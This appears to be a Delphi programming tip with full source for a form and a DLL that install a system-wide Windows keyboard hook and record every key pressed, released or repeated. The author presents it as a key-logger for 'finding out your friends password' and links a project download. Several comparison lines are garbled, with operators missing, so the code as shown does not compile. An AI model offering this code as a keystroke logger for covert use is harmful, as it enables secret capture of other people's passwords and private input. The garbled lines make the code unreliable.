Title: Keyboard hooks demo
Question: How to get keys system-wide?
Answer:
If you want to make a key-logger for finding out your friends password :) you will soon find out that you form needs to be focussed to receive keys via the onKeyPress event or so. What you need to do, is create a Hook.
In the case of a key-logger, you can call it a system-wide replacement of the onKeyDown and -up event.
And that's exactly what it does. If you press a key, a line will be added to a memo saying whether you pressed, released or repressed a key.
Let's take a look at the code:
{ . . . }
const DLLName = 'HookTeclado.dll';
CM_MANDA_TECLA = WM_USER + $1000;
type THookTeclado=procedure; stdcall;
type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
MyHandle : THandle;
PReceptor : ^Integer;
HandleDLL : THandle;
HookOn,
HookOff : THookTeclado;
procedure LlegaDelHook(var message: TMessage); message CM_MANDA_TECLA;
public
{ Public declarations }
end;
var Form1: TForm1;
implementation
uses Unit2;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
// Don't get an extra line in the memo...
Memo1.ReadOnly := True;
// Try loading the DLL
HandleDLL := LoadLibrary( PChar(ExtractFilePath(Application.Exename)+DLLName ) );
if HandleDLL = 0 then raise Exception.Create('DLL not found');
@HookOn := GetProcAddress(HandleDLL, 'HookOn');
@HookOff := GetProcAddress(HandleDLL, 'HookOff');
If not assigned(HookOn) or not assigned(HookOff) then
raise Exception.Create('Can''t find the required DLL functions');
MyHandle := CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'ElReceptor');
if MyHandle = 0 then
raise Exception.Create( 'Error while creating file');
PReceptor := MapViewOfFile(MyHandle,FILE_MAP_WRITE,0,0,0);
PReceptor^ := Handle;
HookOn;
end;
procedure TForm1.LlegaDelHook(var message: TMessage);
var NombreTecla : array[0..100] of char;
Accion : string;
begin
// Get virtual keycode to key name
GetKeyNameText(Message.LParam,@NombreTecla,100);
// Look if the key was pressed, released or re-pressed
if ((Message.lParam shr 31) and 1)=1
then Accion:='Released' {Released}
else
if ((Message.lParam shr 30) and 1)=1
then Accion:='RePressed' {repressed}
else Accion:='Pressed'; {pressed}
Memo1.Lines.Append( Accion+' key: '+String(NombreTecla) );
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
// Uninstall the Hook
if Assigned(HookOff) then HookOff;
// Free the DLL
if HandleDLL0 then
FreeLibrary(HandleDLL);
// Close the memfile and the View
if MyHandle 0 then
begin
UnmapViewOfFile(PReceptor);
CloseHandle(MyHandle);
end;
end;
end.
As you can see, we load a dll in the OnCreate event and unload it in the OnDestroy event of the form.
The LlegadelHook procedure is called whenever a key is pressed. Let's take a look at the DLL code:
library Project1;
uses
Windows,
Messages;
const
CM_MANDA_TECLA = WM_USER + $1000;
var
HookDeTeclado : HHook;
FicheroM : THandle;
PReceptor : ^Integer;
function CallBackDelHook( Code : Integer;
wParam : WPARAM;
lParam : LPARAM
) : LRESULT; stdcall;
{This is the CallBack function called by he Hook}
begin
{if a key was pressed/released}
if code=HC_ACTION then
begin
{if the mapfile exists}
FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElReceptor');
{If dont, send nothing to receiver application}
if FicheroM0 then
begin
PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0);
PostMessage(PReceptor^,CM_MANDA_TECLA,wParam,lParam);
UnmapViewOfFile(PReceptor);
CloseHandle(FicheroM);
end;
end;
{call to next hook of the chain}
Result := CallNextHookEx(HookDeTeclado, Code, wParam, lParam)
end;
procedure HookOn; stdcall;
{procedure for install the hook}
begin
HookDeTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0);
end;
procedure HookOff; stdcall;
begin
{procedure to uninstall the hook}
UnhookWindowsHookEx(HookDeTeclado);
end;
exports
{Export the procedures}
HookOn,
HookOff;
begin
end.
It's as simple as that! If you want to download the Delphi 5 project,
go to http://members.home.nl/charl/kbhooks.zip .
// Charl (tinoyb@hotmail.com)